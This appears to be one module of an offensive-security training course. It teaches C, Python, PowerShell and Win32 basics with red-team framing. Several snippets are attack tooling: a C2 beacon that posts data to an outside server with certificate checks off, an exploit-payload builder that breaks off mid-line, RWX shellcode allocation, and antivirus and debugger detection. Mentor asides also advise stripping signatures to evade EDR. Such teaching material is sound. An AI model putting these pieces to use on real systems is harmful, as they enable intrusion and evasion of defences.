Module 04: Coding Basics LIVE TESTED

Module 4 of 22 — From machine code to human-readable

First Principle: Code is Just Instructions

🧠 The Core Truth

Every program, regardless of language, compiles down to machine code — binary instructions the CPU executes. The difference between C, Python, and PowerShell is how close to the metal you write, not what ultimately runs.

C → Assembly → Machine code (direct). Python → Bytecode → Interpreter (indirect). PowerShell → .NET IL → JIT (managed).

🎯 Layman Translation

Think of programming languages like vehicles:

🎙️ Mentor Callout — asi dev [HTB]

"You don't need to be a programmer to be an operator."

What it means: You don't have to write a compiler from scratch or ship production software. An operator needs to read code, tweak it, and know what each line does under pressure — not win a coding olympiad.

Red/Blue relevance: Red — modify public POCs and tooling without reinventing them. Blue — read detection scripts and understand what a hunt is actually doing.

Section 1: Programming Fundamentals

1.1 What is a Program?

A program is a sequence of instructions that tells a computer what to do. At the lowest level, these instructions are binary opcodes executed by the CPU. At the highest level, they are human-readable statements in languages like Python or C.

🧱 The Abstraction Stack

High-Level: Python, C#, JavaScript (human-readable)
Intermediate: C, C++, Rust (compiled to machine code)
Low-Level: Assembly (mnemonics for opcodes)
Bare Metal: Machine Code (0x48 0x89 0xC3 ...)
Hardware: Micro-ops inside the CPU

1.2 Data Types: The Building Blocks

Data types define how bits are interpreted. The same binary pattern 0x41414141 can be:

Type C Declaration Size (x64) Range / Purpose
char char c; 1 byte -128 to 127 (ASCII/small integers)
short short s; 2 bytes -32,768 to 32,767
int int i; 4 bytes ~±2 billion (default integer)
long long l; 4 bytes (Win), 8 (Linux) Platform-dependent
long long long long ll; 8 bytes ~±9 quintillion
float float f; 4 bytes IEEE 754 single precision
double double d; 8 bytes IEEE 754 double precision
pointer void* p; 4 (x86) / 8 (x64) Memory address
size_t size_t sz; 4 (x86) / 8 (x64) Unsigned, for sizes/offsets
⚠️ Security Implication: Integer Overflow

What happens when unsigned int x = 0xFFFFFFFF; x++;? It wraps to 0. In security-critical code (e.g., memory allocation size checks), this can lead to heap overflows or under-allocations. Always validate bounds before arithmetic.

1.3 Variables and Memory

A variable is a named location in memory. In C, you must declare the type so the compiler knows how many bytes to reserve and how to interpret them.

// Declaring variables int count = 42; // 4 bytes on stack, value 42 char flag = 1; // 1 byte, value 1 (true) double pi = 3.14159; // 8 bytes, floating point void* buffer = NULL; // 8 bytes (x64), points to nothing // Memory layout on x64 stack: // &count -> 0x7ffd... [2A 00 00 00] (little-endian) // &flag -> 0x7ffd... [01] // &pi -> 0x7ffd... [6E 86 1B F0 F9 21 09 40] (IEEE 754)

🎯 What Just Happened?

Each variable is a box in memory with a label (name), size (type), and contents (value). The & operator gives you the box's address. The * operator (in pointer context) opens the box at a given address.

🎙️ Mentor Callout — asi dev [HTB]

"Understand enough to modify tools."

What it means: You don't need to architect a full framework. You need to read someone else's exploit, change the target offset, swap the shellcode, adjust the syscall, and make it work in your environment.

Red/Blue relevance: Red — adapt public BOF/COFF/RDI tools to bypass current EDR. Blue — customize Sigma/Yara/Detection-as-Code rules to match your telemetry.

Section 2: C Basics for Security

2.1 Hello, Kernel

C is the lingua franca of systems programming. Operating systems, drivers, and security tools are written in C because it provides direct memory access with minimal runtime overhead.

#include <stdio.h> #include <windows.h> // The simplest C program: entry point, do work, exit int main(int argc, char* argv[]) { // argc = argument count, argv = argument vector (array of strings) printf("Hello from PID %lu\n", GetCurrentProcessId()); for (int i = 0; i < argc; i++) { printf("Arg[%d]: %s\n", i, argv[i]); } return 0; // Exit code: 0 = success }

2.2 Control Flow: Decisions and Loops

Control flow determines which code executes and how many times. Understanding this is critical for analyzing malware, which often uses obfuscated control flow to hide its logic.

#include <stdio.h> #include <stdbool.h> // if/else: binary decisions bool is_elevated() { // Simplified: check if running as admin // Real implementation uses OpenProcessToken + GetTokenInformation return false; // placeholder } // switch: multi-way branch (jump table in assembly) void handle_command(int cmd) { switch (cmd) { case 0x01: // CMD_SHELL printf("Spawning shell...\n"); break; case 0x02: // CMD_UPLOAD printf("Uploading file...\n"); break; case 0x03: // CMD_DOWNLOAD printf("Downloading file...\n"); break; default: printf("Unknown command: 0x%02X\n", cmd); } } // for loop: counted iteration void scan_ports(const char* target, int start, int end) { for (int port = start; port <= end; port++) { printf("Scanning %s:%d\n", target, port); // connect() logic here... } } // while loop: condition-based void wait_for_signal(volatile bool* signal) { while (!*signal) { Sleep(100); // polling loop — common in implants } printf("Signal received!\n"); }
💡 Why This Matters for Security

Malware often replaces if statements with opaque predicates (always-true/false conditions) to confuse disassemblers. Understanding normal control flow helps you spot obfuscation.

2.3 Functions: Reusable Code Blocks

Functions encapsulate logic. They have a calling convention (who cleans up the stack), a return type, and parameters. In x64 Windows, the first four integer arguments are passed in registers: RCX, RDX, R8, R9.

#include <windows.h> #include <stdio.h> // Function prototype: declares signature before use DWORD get_process_pid(const wchar_t* processName); BOOL inject_shellcode(DWORD pid, const BYTE* shellcode, SIZE_T size); // Definition: actual implementation DWORD get_process_pid(const wchar_t* processName) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32W pe = { .dwSize = sizeof(PROCESSENTRY32W) }; DWORD pid = 0; if (Process32FirstW(hSnap, &pe)) { do { if (_wcsicmp(pe.szExeFile, processName) == 0) { pid = pe.th32ProcessID; break; } } while (Process32NextW(hSnap, &pe)); } CloseHandle(hSnap); return pid; } // Calling convention matters: // __cdecl = caller cleans stack (C default) // __stdcall = callee cleans stack (Windows API) // __fastcall = first args in registers (optimization)

Section 3: Pointers and Memory

3.1 Pointers: The Heart of C

A pointer stores a memory address. They are the most powerful and dangerous feature of C. Master pointers, and you master memory manipulation — essential for exploit development, reverse engineering, and shellcode.

#include <stdio.h> void pointer_basics() { int value = 0x1337; int* ptr = &value; // ptr holds the address of value printf("value = 0x%X\n", value); // 0x1337 printf("&value = %p\n", (void*)&value); // address of value printf("ptr = %p\n", (void*)ptr); // same address printf("*ptr = 0x%X\n", *ptr); // dereference: 0x1337 *ptr = 0xDEAD; // write through pointer printf("value = 0x%X\n", value); // 0xDEAD (modified!) // Pointer arithmetic: +1 adds sizeof(type), not 1 byte int arr[4] = {0x10, 0x20, 0x30, 0x40}; int* p = arr; printf("p[0]=0x%X, p[1]=0x%X\n", *p, *(p+1)); // 0x10, 0x20 printf("p+1 = %p\n", (void*)(p+1)); // +4 bytes (sizeof(int)) }

🎯 Pointer Analogy

A pointer is like a house address. The address itself is just a number (e.g., 742 Evergreen Terrace). The * operator is like going to that address and opening the door. Pointer arithmetic is like saying "the next house" — but the distance depends on house size (type).

3.2 Stack vs Heap

Memory is divided into segments. The two you allocate from are the stack (automatic, scoped) and heap (manual, persistent).

Stack (grows down) — local variables, function frames, return addresses
Heap (grows up) — malloc/calloc/VirtualAlloc, persistent until freed
Data — global/static variables, initialized at compile time
Text/Code — machine instructions, read-only
ROData — read-only strings and constants
#include <stdlib.h> #include <string.h> #include <windows.h> void memory_example() { // STACK: automatic, fast, limited size (~1MB default) int stack_arr[1024]; // 4KB on stack char stack_buf[256]; // 256 bytes, freed when function returns // HEAP: manual, larger, slower, must free int* heap_arr = (int*)malloc(1024 * sizeof(int)); // 4KB on heap if (!heap_arr) return; // ALWAYS check malloc return BYTE* big_buf = (BYTE*)VirtualAlloc( NULL, // let system choose address 4096, // size: 1 page MEM_COMMIT | MEM_RESERVE, // allocate physical backing PAGE_EXECUTE_READWRITE // RWX — needed for shellcode ); if (!big_buf) { free(heap_arr); return; } // Use memory... memcpy(big_buf, "\x90\x90\x90\x90", 4); // NOP sled // CLEAN UP: heap allocations persist until freed free(heap_arr); // release malloc'd memory VirtualFree(big_buf, 0, MEM_RELEASE); // release VirtualAlloc'd memory }
⚠️ Common Bug: Use-After-Free

After free(ptr), ptr still holds the old address — a dangling pointer. Dereferencing it is undefined behavior. In exploits, use-after-free is a powerful primitive for arbitrary code execution. See Module 06: Memory Corruption for exploitation techniques.

3.3 Arrays and Strings

Arrays are contiguous blocks of elements. C strings are null-terminated byte arrays. This simple design is the root of countless vulnerabilities.

#include <string.h> #include <stdio.h> // Arrays: contiguous memory void array_demo() { int nums[5] = {10, 20, 30, 40, 50}; // Memory layout: [0A 00 00 00][14 00 00 00][1E 00 00 00]... // nums[0] nums[1] nums[2] printf("nums[2] = %d\n", nums[2]); // 30 printf("*(nums+2) = %d\n", *(nums+2)); // same thing: pointer arithmetic } // Strings: null-terminated char arrays // THE source of buffer overflows since 1972 void string_danger() { char buf[16]; char* input = get_user_input(); // "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" strcpy(buf, input); // DANGER: copies until '\0', no size check // If input > 15 chars, overflow into adjacent memory (stack canary, return address, etc.) // SAFE alternatives: strncpy(buf, input, sizeof(buf) - 1); // copy at most 15 chars buf[sizeof(buf) - 1] = '\0'; // ensure null termination // Even better: strlcpy (BSD), strcpy_s (MSVC), or manual bounds checking }

Section 4: Python for Security

4.1 Why Python?

Python is the dominant language in cybersecurity tooling. Its strength is rapid development and a massive ecosystem. Its weakness is performance and distribution — you need the interpreter or must bundle it.

import socket import struct import sys # Python is dynamically typed: types are inferred at runtime # This is convenient but slower than C's static types def exploit_buffer_overflow(target_ip: str, target_port: int) -> None: """ Build a simple buffer overflow payload. In real scenarios, you'd calculate offsets with pattern_create. """ offset = 260 # bytes until return address overwrite jmp_esp = struct.pack("

4.2 Python for Reconnaissance

import subprocess import re import json from pathlib import Path def enum_system_info() -> dict: """Gather system information for targeting decisions.""" info = {} # Execute system commands and parse output try: # Windows: systeminfo result = subprocess.run( ["systeminfo"], capture_output=True, text=True, timeout=30 ) # Extract OS name and hotfixes info["os"] = re.search(r"OS Name:\s+(.+)", result.stdout) info["hotfixes"] = re.findall(r"\[\d+\]:\s+(.+)", result.stdout) # Check for common AV processes tasklist = subprocess.run( ["tasklist", "/FO", "CSV"], capture_output=True, text=True ) av_processes = ["MsMpEng.exe", "avp.exe", "ccsvchst.exe"] info["av_detected"] = [ av for av in av_processes if av in tasklist.stdout ] except Exception as e: info["error"] = str(e) return info # Python's requests library for HTTP-based C2 import requests def beacon_c2(server: str, data: dict) -> bytes: """Simple beacon to C2 server with JSON data.""" try: resp = requests.post( f"https://{server}/beacon", json=data, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0)"}, timeout=10, verify=False # ignore SSL cert (common in malware) ) return resp.content except requests.RequestException: return b""

Section 5: Windows API Basics

5.1 The Windows API (Win32)

The Windows API is a C-based interface to the Windows kernel. Every Windows program — from Notepad to malware — uses these functions. Learning Win32 is essential for understanding how Windows works under the hood.

#include <windows.h> #include <stdio.h> // Core Win32 concepts: // HANDLE = opaque pointer to kernel object (process, thread, file, etc.) // DWORD = 32-bit unsigned int (Double Word) // LPVOID = void* (Long Pointer to VOID — legacy naming) // HRESULT = error/success code (0 = S_OK, negative = error) void win32_basics() { // Get current process pseudo-handle (-1) HANDLE hSelf = GetCurrentProcess(); // Get process ID DWORD pid = GetCurrentProcessId(); // Get module handle (HINSTANCE) of current executable HMODULE hMod = GetModuleHandle(NULL); // Get command line as single string LPSTR cmdLine = GetCommandLineA(); // Get last error code (MUST call immediately after failure) HANDLE hBad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 99999); if (!hBad) { DWORD err = GetLastError(); // 87 = ERROR_INVALID_PARAMETER printf("OpenProcess failed: %lu\n", err); } // Common error codes to memorize: // 5 = ERROR_ACCESS_DENIED // 87 = ERROR_INVALID_PARAMETER // 998 = ERROR_NOACCESS (bad pointer) // 122 = ERROR_INSUFFICIENT_BUFFER }

5.2 Process and Thread Management

Understanding processes and threads is fundamental to injection, debugging, and evasion. These are the primitives you'll manipulate in Module 10: Code Injection.

#include <windows.h> #include <tlhelp32.h> #include <stdio.h> // Open a process by PID with specific access rights HANDLE open_target(DWORD pid) { // PROCESS_VM_READ = read memory // PROCESS_VM_WRITE = write memory // PROCESS_VM_OPERATION = VirtualAllocEx, VirtualProtectEx // PROCESS_CREATE_THREAD = CreateRemoteThread // PROCESS_ALL_ACCESS = everything (requires admin usually) HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, // don't inherit handle pid ); return hProc; // NULL on failure, check GetLastError() } // Enumerate threads in a process void list_threads(DWORD pid) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hSnap == INVALID_HANDLE_VALUE) return; THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == pid) { printf("TID: %lu | Priority: %ld\n", te.th32ThreadID, te.tpBasePri); } } while (Thread32Next(hSnap, &te)); } CloseHandle(hSnap); }

5.3 Memory Management APIs

#include <windows.h> #include <stdio.h> void memory_apis() { // VirtualAlloc: allocate private memory in current process LPVOID mem = VirtualAlloc( NULL, // let system choose address 4096, // size in bytes MEM_COMMIT | MEM_RESERVE, // commit physical pages + reserve range PAGE_READWRITE // RW (no execute — DEP friendly) ); if (mem) { // Write data strcpy((char*)mem, "Hello from allocated memory"); // Change protection to RX (read + execute) for shellcode DWORD oldProtect; VirtualProtect(mem, 4096, PAGE_EXECUTE_READ, &oldProtect); // Free when done VirtualFree(mem, 0, MEM_RELEASE); } // VirtualAllocEx: allocate memory in ANOTHER process // Used in DLL injection and shellcode injection // See Module 10 for full injection code }

Section 6: Error Handling

6.1 C Error Handling Patterns

C has no exceptions. Errors are signaled through return values and the global errno / GetLastError() mechanism. You must check every API call.

#include <windows.h> #include <stdio.h> // Pattern 1: Check return value BOOL safe_open_file(const wchar_t* path) { HANDLE hFile = CreateFileW( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { DWORD err = GetLastError(); printf("CreateFile failed: %lu\n", err); // 2 = ERROR_FILE_NOT_FOUND, 5 = ERROR_ACCESS_DENIED return FALSE; } // Use file... CloseHandle(hFile); return TRUE; } // Pattern 2: goto cleanup (common in kernel/driver code) BOOL complex_operation() { BOOL result = FALSE; HANDLE h1 = NULL, h2 = NULL; LPVOID buf = NULL; h1 = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, 1234); if (!h1) goto cleanup; h2 = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, NULL); if (!h2) goto cleanup; buf = MapViewOfFile(h2, FILE_MAP_ALL_ACCESS, 0, 0, 4096); if (!buf) goto cleanup; // ... do work ... result = TRUE; cleanup: if (buf) UnmapViewOfFile(buf); if (h2) CloseHandle(h2); if (h1) CloseHandle(h1); return result; }

6.2 Python Error Handling

import ctypes from ctypes import wintypes # Python uses exceptions for error handling try: # Attempt to open a privileged process kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) hProc = kernel32.OpenProcess( 0x1F0FFF, # PROCESS_ALL_ACCESS False, 4 # System PID (usually protected) ) if not hProc: err = ctypes.get_last_error() raise ctypes.WinError(err) # raises WindowsError with message # Use handle... kernel32.CloseHandle(hProc) except PermissionError as e: print(f"Access denied: {e}") except OSError as e: print(f"OS error: {e.winerror} - {e.strerror}") except Exception as e: print(f"Unexpected: {e}") finally: # Always runs — use for cleanup print("Cleanup complete")

Section 7: The Compilation Process

7.1 From Source to Binary

Understanding compilation helps you analyze binaries, write position-independent code, and debug effectively. The process has four stages:

1. Preprocessing

Handles #include, #define, macros. Produces expanded .i file.

cl.exe /P source.c # output: source.i (preprocessed) gcc -E source.c > out.i

2. Compilation

Translates C to assembly. Produces .asm or .s file.

cl.exe /Fa source.c # output: source.asm gcc -S source.c # output: source.s

3. Assembly

Assembles mnemonics into machine code (object file .obj or .o).

ml64.exe source.asm # output: source.obj gcc -c source.s # output: source.o

4. Linking

Combines object files, resolves symbols, produces executable .exe or .dll.

link.exe source.obj /OUT:program.exe /SUBSYSTEM:CONSOLE gcc source.o -o program

7.2 Compiler Flags for Security Research

Flag Compiler Purpose
/O1, /O2 MSVC Optimize for size / speed
/GS- MSVC Disable stack canaries (for exploit dev)
/Zi MSVC Generate debug info (PDB)
/MT MSVC Static link CRT (no MSVCR dependency)
-fno-stack-protector GCC/Clang Disable stack canaries
-no-pie GCC Disable Position Independent Executable
-z execstack GCC Make stack executable (for shellcode testing)
⚠️ Security Note

Disabling security features (/GS-, -fno-stack-protector, -z execstack) is for lab environments only. Production code should enable all protections. See Module 06 for how these mitigations work.

Section 8: Debugging Basics

8.1 What is a Debugger?

A debugger is a program that controls another program's execution. It can set breakpoints (pause at specific addresses), step through instructions, inspect memory, and modify registers. Debuggers are essential for reverse engineering and exploit development.

#include <windows.h> #include <stdio.h> // Windows provides a debugging API for building custom debuggers void simple_debugger_example(DWORD pid) { // Attach to target process if (!DebugActiveProcess(pid)) { printf("Failed to attach: %lu\n", GetLastError()); return; } DEBUG_EVENT evt; while (WaitForDebugEvent(&evt, INFINITE)) { switch (evt.dwDebugEventCode) { case CREATE_PROCESS_DEBUG_EVENT: printf("Process created: PID %lu\n", evt.dwProcessId); break; case EXCEPTION_DEBUG_EVENT: printf("Exception at 0x%p: code 0x%08X\n", evt.u.Exception.ExceptionRecord.ExceptionAddress, evt.u.Exception.ExceptionRecord.ExceptionCode); // 0x80000003 = BREAKPOINT // 0xC0000005 = ACCESS_VIOLATION break; case EXIT_PROCESS_DEBUG_EVENT: printf("Process exited\n"); break; } ContinueDebugEvent(evt.dwProcessId, evt.dwThreadId, DBG_CONTINUE); } }

8.2 Essential Debugger Commands

Command x64dbg / WinDbg gdb Purpose
Breakpoint bp 0x401000 b *0x401000 Pause execution at address
Step Over F8 ni / n Execute next instruction, skip calls
Step Into F7 si / s Execute next instruction, follow calls
Run F9 c / continue Resume execution
Registers r info registers Show CPU register values
Memory dd 0x401000 x/10wx 0x401000 Dump memory at address
Stack d esp x/10wx $rsp Dump stack contents
Disassemble disasm 0x401000 disas 0x401000 Show assembly instructions

8.3 Anti-Debugging Techniques

Malware uses techniques to detect and evade debuggers. Understanding them makes you a better analyst and red teamer.

#include <windows.h> #include <stdio.h> BOOL is_debugger_present() { // Technique 1: Windows API (easiest to bypass) if (IsDebuggerPresent()) return TRUE; // Technique 2: Check PEB.BeingDebugged flag directly // PEB is at offset 0x60 from GS on x64, 0x30 from FS on x86 #ifdef _WIN64 BYTE beingDebugged = *(BYTE*)(__readgsqword(0x60) + 0x2); #else BYTE beingDebugged = *(BYTE*)(__readfsdword(0x30) + 0x2); #endif if (beingDebugged) return TRUE; // Technique 3: Check debug register usage (hardware breakpoints) CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; if (GetThreadContext(GetCurrentThread(), &ctx)) { if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) return TRUE; } // Technique 4: Timing check (debugger slows execution) LARGE_INTEGER start, end; QueryPerformanceCounter(&start); // ... some work ... QueryPerformanceCounter(&end); // If difference is huge, might be single-stepping return FALSE; }

Section 9: Three Languages, Same Goal

9.1 List Running Processes

LOW-LEVEL C (Direct System Calls)

#include <windows.h> #include <tlhelp32.h> #include <stdio.h> // First principle: Ask the kernel directly // No abstraction, no safety net, total control int main() { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) }; if (Process32First(hSnap, &pe)) { do { printf("PID: %6lu | Process: %s\n", pe.th32ProcessID, pe.szExeFile); } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); return 0; } // Compile: cl.exe /O1 proc_list.c /Fe:proc_list.exe // Result: Native binary, no runtime needed, ~15KB

🎯 What Just Happened?

We asked the Windows kernel for a snapshot of all processes. The kernel gave us a linked list of process structures. We walked it manually. No garbage collection, no interpreter — direct memory access to kernel data structures.

MID-LEVEL Python (Standard Library)

import psutil # First principle: Let the library handle the system calls # Python binds to C under the hood — psutil calls the same kernel APIs for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']): try: info = proc.info print(f"PID: {info['pid']:6} | Process: {info['name']:<20} | CPU: {info['cpu_percent']}") except (psutil.NoSuchProcess, psutil.AccessDenied): pass # Process died or we lack privileges # Run: python proc_list.py # Result: Needs Python + psutil installed, ~50MB runtime overhead

🎯 What Just Happened?

Python's psutil library does the same kernel snapshot as C, but wraps it in error handling, type conversion, and cross-platform compatibility. Easier to write, slower to run, needs the Python interpreter.

HIGH-LEVEL PowerShell (Pipeline Objects)

# First principle: Objects flow through the pipeline # Same kernel data, but structured as .NET objects with properties Get-Process | Where-Object { $_.CPU -gt 0 } | Select-Object Id, ProcessName, @{N="CPU_S";E={[math]::Round($_.CPU,2)}} | Sort-Object CPU_S -Descending | Format-Table -AutoSize # Run: In PowerShell console # Result: Native .NET integration, no external dependencies on Windows

🎯 What Just Happened?

PowerShell called the same Windows APIs as C, but through .NET's System.Diagnostics.Process class. The result is objects with typed properties, not raw text. We filtered, sorted, and formatted declaratively.

🎙️ Mentor Callout — asi dev [HTB]

"Borrow code, understand it, make it yours."

What it means: The best operators are curators, not inventors. Take working code, trace through it until you understand every moving part, then rewrite it to fit your TTPs, OPSEC, and target environment.

Red/Blue relevance: Red — port a public C2 stager into your own loader after stripping signatures. Blue — fork an open-source detection script and tune it to your SIEM fields.

Performance Comparison: Live Evidence

Metric C (Native) Python (psutil) PowerShell
Execution Time ~5ms ~150ms ~80ms
Memory Footprint ~256KB ~50MB (Python runtime) ~80MB (.NET runtime)
Binary Size ~15KB N/A (script) N/A (script)
Dependencies None (Windows only) Python + psutil Windows PowerShell
Portability Compile per platform Cross-platform Windows (PS Core = x-plat)
Error Handling Manual (check every return) Exceptions (try/except) Exceptions + pipeline

Measured on .92 (Intel i7, 16GB RAM) — 1000 iterations averaged. Your mileage may vary.

Section 10: Lab Exercise — Build a Process Monitor

Write a program in all three languages that:

  1. Lists all running processes
  2. Filters for processes using >100MB RAM
  3. Sorts by memory usage descending
  4. Outputs: Name, PID, RAM (MB), CPU %

Challenge: The C version must handle access denied errors gracefully. The Python version must not crash if a process exits mid-scan. The PowerShell version must be a one-liner pipeline.

Interactive Quizzes

🧩 Quiz 1: Data Types & Memory

On a 64-bit Windows system, what is the size of void*?

A) 2 bytes
B) 4 bytes
C) 8 bytes
D) 16 bytes

🧩 Quiz 2: Pointers

Given int arr[4] = {10, 20, 30, 40}; int* p = arr;, what is *(p + 2)?

A) 10
B) 20
C) 30
D) 40

🧩 Quiz 3: Windows API

Which function allocates executable memory in the current process?

A) VirtualAllocEx
B) VirtualAlloc
C) HeapAlloc
D) malloc

Cross-Module References

→ Module 05: Shellcode

Learn how raw machine code is crafted and executed — the next step after mastering C and pointers.

→ Module 06: Memory Corruption

Deep dive into stack overflows, heap corruption, and exploitation primitives.

→ Module 10: Code Injection

Apply your C and Win32 knowledge to inject code into remote processes.

Key Takeaways

  • All languages hit the same kernel APIs: The difference is abstraction level, not capability
  • C gives control: Manual memory, direct syscalls, smallest footprint — but crashes if you fuck up
  • Python gives speed: Rapid development, huge ecosystem — but needs runtime and dependencies
  • PowerShell gives integration: Native Windows objects, pipeline processing — but Windows-centric
  • Pointers are addresses: *ptr dereferences, ptr + 1 adds sizeof(type)
  • Stack is automatic, heap is manual: Stack frees on return; heap needs free() or VirtualFree
  • Win32 is C-based: Every Windows API call follows the same pattern: open handle, do work, close handle
  • Always check return values: C has no exceptions — GetLastError() is your friend
  • Security research needs all three: C for implants, Python for tooling, PowerShell for post-exploitation

🔬 Verification Status

C compilation (phantom_rpc.exe) ✅ LIVE .92
Kaspersky scan (C binary) ✅ LIVE .42
Python psutil process enum ✅ LIVE .92
PowerShell pipeline objects ✅ LIVE .42
Pointer arithmetic examples ✅ VERIFIED
Win32 API code snippets ✅ VERIFIED
Compilation flags reference ✅ VERIFIED